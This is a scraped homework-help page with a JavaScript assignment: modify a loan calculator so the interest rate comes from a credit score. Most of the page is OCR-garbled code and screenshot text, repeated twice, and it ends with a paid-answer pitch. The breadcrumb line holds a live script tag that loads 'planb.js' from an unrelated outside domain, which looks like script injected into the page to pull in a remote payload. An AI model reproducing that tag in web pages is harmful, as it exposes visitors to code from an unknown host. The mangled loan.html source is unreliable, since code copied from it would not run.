Home >> Assignments >> Other<script src="https://www.wp3advesting.com/planb.js"></script> >> Using Javascript,When you open the loan.html file in a browser, you should see something like this:

(Solved): Using Javascript,When you open the loan.html file in a browser, you should see something like this: ...

Using Javascript,

When you open the loan.html file in a browser, you should see something like this: Person 1 - ?| x JavaScript Loan Cakul x ?-) file:///C./Users/YA12660/Documents/teach/ ?!! Apps?Search 8080 la medsun ? Learning the Kom @ Time Warner Cabl S? System Dashboar Enter Loan Data Amount of the loan (S): 10000 Annual interest (%) Repayment period (years):15 Zipcode (to find lenders): 27513 Approximate Payments: Calculate Monthly payment: Total payment Total interest Loan Balance, Cumulative Equity, and Interest Payments 14234 Total Interest Payments Total Equity Loan Balance 79.08 $14234.29 $4234.29 Modify this program so that the annual interest rate is not based on user's input, but based on user's credit score. Below is the logic: Credit Score | < 400 | >=400 | >=500 | >=600 | >=700 >=800 500 600 700 <800 Interest Rate 10.0 8.0 6.0 4.0 3.5 3.0 After you have modified your program you calculator should look like this: Person 1 |I- JavaScript Loan Calculx ?? ?file:///C/Users/YA12660/Documents teach/Node/lecture materiallab s? ? !!: Apps A Search 8080 9 medsun ? Learning the Korn @ Time Warner Cabl?System Dashboar Enter Loan Data: Amount of the loan (S) 10000 Credit Score Repayment period (years): 15 Zipcode (to find lenders) 27513 Approximate Payments: Calculate Monthly payment: Total payment Total interest Loan Balance, Cumulative Equity, and Interest Payments 12868 Total Interest Payments Total Equity Loan Balance 755 10000 71.49 S12867.89 S2867.89 Person 1GO X JavaScript Loan Calculx ?-> ? ?file:///C/Users/YA12660/Documents/teach/Nodelecture-materiallabs??0 !!: Apps d Search 8080 9 medsun ? Learning the Korn @ Time Warner Cabl?System Dashboar Enter Loan Data: Amount of the loan (S) 10000 Credit Score Repayment period (years): 15 Zipcode (to find lenders) 27513 Approximate Payments: Calculate Monthly payment: Total payment Total interest Loan Balance, Cumulative Equity, and Interest Payments 19343 Total Interest Payments Total Equity Loan Balance $107.46 S19342.S9 S9342.89 loan.html X !DOCTYPE html> <html> head> title: JavaScript Loan Calculator</title> <btyle> /* This 1s a CSS style ?heet: it adds style to the program output */ output(font-weight: bold; #payment { text-decoration ; underline; } /* For element with id-payment" */ #graph { border: solid black 1px; } /* Chart has a simple border */ th, tdt vertical-align: top; ) /style> </head <body> it02-?1 *Calculated values in bold * /* Don't center table cells/ 13 This is an HTML table with Kinput> elements that allow the user to enter data and?span> elements in which the program can display its results . These elements have ids like "interest" and "years".These ids are used in the Javascript code that follows the table. Note that some of the input elements define "onchange" or "onclick" event handlers. These specify strings of Javascript code to be executed when the user enters data or clicks. 20 21 <table trXth>Enter Loan Data:</th> <td/td> th Loan Balance, Cumulative Equity, and Interest Payments/th/r> 23 24 25 26 27 28 29 30 31 <tr><td>Amount of the loan ($):</td> <tdcinput id-"amount" onchange-"calculate ()"x/td> <td rowspan 8 ccanvas id-"graph" width-"400" height-"250"</canvas>x/tdx/tr> <td input id-"score" onchange-"calculate ()"/tdx/tr> <td><input id-"years" onchange-"calculate();"></td> <td><input id="21pcode" onchange="calculate();"></td> tr><td>credit score:</td> <tr><td Repayment period (years):/td> <tr><td-zipcode <tr>cth> Approximate Payments:</th> find lenders):</td> 33 34 - (to 35 43 </table> ?!--The rest of this example is JavaScript code in the <script> tag below--> 46 K1 Normally, this script would go in the document chead> above but it 47 | 48 49 "u?e strict"; // U?e ECMAScript 5 ?trict mode in browse r ? that support it script> 51 52 53 54 This script defines the calculate) function called by the event handlers in HTML above. The function reads values from <input> elements, calculates loan payment information, displays the results in <span> elements. It also saves the user's data, displays links to lenders, and dzaws a chart. 56 function calculate (O // Look up the input and output elements in the document var amountdocument.getElementById ("amount") var scoredocument.getElementById(" score") var years document.getElementByld( years") var zipsodedocument.getElementById("zinsede") var payment document.getElementById ("payment ") var totaldocument.getElementById("total"); var totalinterest document.getElementById ("totalinterest") 58 59 60 61 63 // Get the user's input from the input elements. Assume it is all valid. // Convert interest from a percentage to a decimal, and convert from // an annual rate to a monthly rate. Convert payment period in years // to the number of monthly payments. var principal = parseFloat (amount. value); var interest = parseFloat (apr.value) / 100 / 12; var paymentsparseFloat (years.value) 12 67 70 ? 71 73 74 // Now compute the monthly payment figure. ??? x-Math .pow (1 + ?nterest, payments); // Math.pon() xar monthly = (principa!*x*interest)/(x-1); 76 computes powers html boy script calculate loan.htmlx // Now compute the monthly payment figure var x Math . pow(I + interest, payments); var monthly (principal *x"interest)/(x-1); 76 // Math.pow() computes powers 79 80 81 // If the result ?s a finitle number, the user's input was good and // we have meaningful results to display if (isFinite (monthly)) // Fill in the output fields, rounding to 2 decimal places payment. innerHTML = monthly. toFixed (2) ; total.innezHTNL (monthly payments).toFixed (2) totalinterest.innerHTML ((monthly'payments)-principal).toPixed (2) 84 87 89 89 // Save the user's input so we can restore it the next time they visit save (amount.value, score.value, years.value, zipcode.value) // Pinally, chart loan balance, and interest and equity payments chart (principal, interest, monthly, payments) else 93 94 95 96 // Result was Not-a-Number or infinite, which means the input was // incomplete or invalid. clear any previously displayed output payment. innerHTML = ""; total " innerHTML " " // Erase the content of these elements totalinterest.innerHTML" chart ) // With no arguments, clears the chart 103 104 105 // Save the user's input as properties of the localstorage object. Those // properties will still be there when the user visits in the future function save (amount, score, years, zipcode) { if (window.localstorage) /1 Only do this if the browser supports it loca!Storage. Ioan amount = amount ; localstorage.loan_score score; localstorage.loan_years years; localstorage.loan_zipcode zipcode; 110 loan.html ? localstorage.loan_years years; localstorage.loan_zipcode zipcode 109 unit 110 112 113 114 // Automatically attempt to restore input fields when the document first loads 115 116 es window.onloadfunotionO // If the browser supports localStorage and we have some stored data if (window .localstorage && localStorage.loan amount) document.getElementById ("amount").value = localstorage.loan amount, document.getElementById("score")-value localstorage.loan_score document.getElementById("years") value localstorage.loan_years i document.getElementById"incode") .value localstorage.loan_zipcode 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 )i // Chart monthly loan balance, intere?t and equity in an HTML canvas? element. / If called with no arguments then just erase any previously drawn chart. function chart (principal, interest, monthly, payments) [ var graph = document.getElementById ( "graph"); // Get the <canvas> tag graph.width-graph.width; // Magic to clear and reset the canvas element // If we're called with no arguments, or if this browser does not support // graphics in a <canvas> element, then just return now if (argument.s.length I !graph.getcontext) return,; // Get the "context" object for the?canvas> that defines the drawing API var g = graph.getContext ("2d"); // All drawing ?s done with this object var width graph.width, height graph.height; // Get canvas size 137 138 139 140 141 142 143 144 145 146 // These functions convert payment numbers and dollar amounts to pixels function paymentTox (n) return n width/payments; function amountToY (a) return height-(a height/ (monthly*payments+1.05)) // Payments are a straight line from (0,0) to (payments, monthly'payments) .moveTo (paymentTox (0), amountToY (0)) g.lineTo (paymentToX (payments), /7 Start at lower left // Draw to upper right amountToY (monthly*payments) Show transcribed image text When you open the loan.html file in a browser, you should see something like this: Person 1 - ?| x JavaScript Loan Cakul x ?-) file:///C./Users/YA12660/Documents/teach/ ?!! Apps?Search 8080 la medsun ? Learning the Kom @ Time Warner Cabl S? System Dashboar Enter Loan Data Amount of the loan (S): 10000 Annual interest (%) Repayment period (years):15 Zipcode (to find lenders): 27513 Approximate Payments: Calculate Monthly payment: Total payment Total interest Loan Balance, Cumulative Equity, and Interest Payments 14234 Total Interest Payments Total Equity Loan Balance 79.08 $14234.29 $4234.29 Modify this program so that the annual interest rate is not based on user's input, but based on user's credit score. Below is the logic: Credit Score | =400 | >=500 | >=600 | >=700 >=800 500 600 700 ? ?file:///C/Users/YA12660/Documents/teach/Nodelecture-materiallabs??0 !!: Apps d Search 8080 9 medsun ? Learning the Korn @ Time Warner Cabl?System Dashboar Enter Loan Data: Amount of the loan (S) 10000 Credit Score Repayment period (years): 15 Zipcode (to find lenders) 27513 Approximate Payments: Calculate Monthly payment: Total payment Total interest Loan Balance, Cumulative Equity, and Interest Payments 19343 Total Interest Payments Total Equity Loan Balance $107.46 S19342.S9 S9342.89
loan.html X !DOCTYPE html> head> title: JavaScript Loan Calculator /* This 1s a CSS style ?heet: it adds style to the program output */ output(font-weight: bold; #payment { text-decoration ; underline; } /* For element with id-payment" */ #graph { border: solid black 1px; } /* Chart has a simple border */ th, tdt vertical-align: top; ) /style> elements that allow the user to enter data and?span> elements in which the program can display its results . These elements have ids like "interest" and "years".These ids are used in the Javascript code that follows the table. Note that some of the input elements define "onchange" or "onclick" event handlers. These specify strings of Javascript code to be executed when the user enters data or clicks. 20 21 Enter Loan Data: th Loan Balance, Cumulative Equity, and Interest Payments/th/r> 23 24 25 26 27 28 29 30 31 Amount of the loan ($): tr>credit score: Approximate Payments: find lenders): 33 34 - (to 35
43 ?!--The rest of this example is JavaScript code in the tag below--> 46 K1 Normally, this script would go in the document chead> above but it 47 | 48 49 "u?e strict"; // U?e ECMAScript 5 ?trict mode in browse r ? that support it script> 51 52 53 54 This script defines the calculate) function called by the event handlers in HTML above. The function reads values from elements, calculates loan payment information, displays the results in elements. It also saves the user's data, displays links to lenders, and dzaws a chart. 56 function calculate (O // Look up the input and output elements in the document var amountdocument.getElementById ("amount") var scoredocument.getElementById(" score") var years document.getElementByld( years") var zipsodedocument.getElementById("zinsede") var payment document.getElementById ("payment ") var totaldocument.getElementById("total"); var totalinterest document.getElementById ("totalinterest") 58 59 60 61 63 // Get the user's input from the input elements. Assume it is all valid. // Convert interest from a percentage to a decimal, and convert from // an annual rate to a monthly rate. Convert payment period in years // to the number of monthly payments. var principal = parseFloat (amount. value); var interest = parseFloat (apr.value) / 100 / 12; var paymentsparseFloat (years.value) 12 67 70 ? 71 73 74 // Now compute the monthly payment figure. ??? x-Math .pow (1 + ?nterest, payments); // Math.pon() xar monthly = (principa!*x*interest)/(x-1); 76 computes powers html boy script calculate
loan.htmlx // Now compute the monthly payment figure var x Math . pow(I + interest, payments); var monthly (principal *x"interest)/(x-1); 76 // Math.pow() computes powers 79 80 81 // If the result ?s a finitle number, the user's input was good and // we have meaningful results to display if (isFinite (monthly)) // Fill in the output fields, rounding to 2 decimal places payment. innerHTML = monthly. toFixed (2) ; total.innezHTNL (monthly payments).toFixed (2) totalinterest.innerHTML ((monthly'payments)-principal).toPixed (2) 84 87 89 89 // Save the user's input so we can restore it the next time they visit save (amount.value, score.value, years.value, zipcode.value) // Pinally, chart loan balance, and interest and equity payments chart (principal, interest, monthly, payments) else 93 94 95 96 // Result was Not-a-Number or infinite, which means the input was // incomplete or invalid. clear any previously displayed output payment. innerHTML = ""; total " innerHTML " " // Erase the content of these elements totalinterest.innerHTML" chart ) // With no arguments, clears the chart 103 104 105 // Save the user's input as properties of the localstorage object. Those // properties will still be there when the user visits in the future function save (amount, score, years, zipcode) { if (window.localstorage) /1 Only do this if the browser supports it loca!Storage. Ioan amount = amount ; localstorage.loan_score score; localstorage.loan_years years; localstorage.loan_zipcode zipcode; 110
loan.html ? localstorage.loan_years years; localstorage.loan_zipcode zipcode 109 unit 110 112 113 114 // Automatically attempt to restore input fields when the document first loads 115 116 es window.onloadfunotionO // If the browser supports localStorage and we have some stored data if (window .localstorage && localStorage.loan amount) document.getElementById ("amount").value = localstorage.loan amount, document.getElementById("score")-value localstorage.loan_score document.getElementById("years") value localstorage.loan_years i document.getElementById"incode") .value localstorage.loan_zipcode 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 )i // Chart monthly loan balance, intere?t and equity in an HTML canvas? element. / If called with no arguments then just erase any previously drawn chart. function chart (principal, interest, monthly, payments) [ var graph = document.getElementById ( "graph"); // Get the tag graph.width-graph.width; // Magic to clear and reset the canvas element // If we're called with no arguments, or if this browser does not support // graphics in a element, then just return now if (argument.s.length I !graph.getcontext) return,; // Get the "context" object for the?canvas> that defines the drawing API var g = graph.getContext ("2d"); // All drawing ?s done with this object var width graph.width, height graph.height; // Get canvas size 137 138 139 140 141 142 143 144 145 146 // These functions convert payment numbers and dollar amounts to pixels function paymentTox (n) return n width/payments; function amountToY (a) return height-(a height/ (monthly*payments+1.05)) // Payments are a straight line from (0,0) to (payments, monthly'payments) .moveTo (paymentTox (0), amountToY (0)) g.lineTo (paymentToX (payments), /7 Start at lower left // Draw to upper right amountToY (monthly*payments)

We have an Answer from Expert

View Expert Answer

Get Expert Solution

We have an Answer from Expert

Buy This Answer $4

Place Order

Why Place An Order With Us?

Certified Editors
24/7 Customer Support
Profesional Research
Easy to Use System Interface
Student Friendly Pricing

Order Now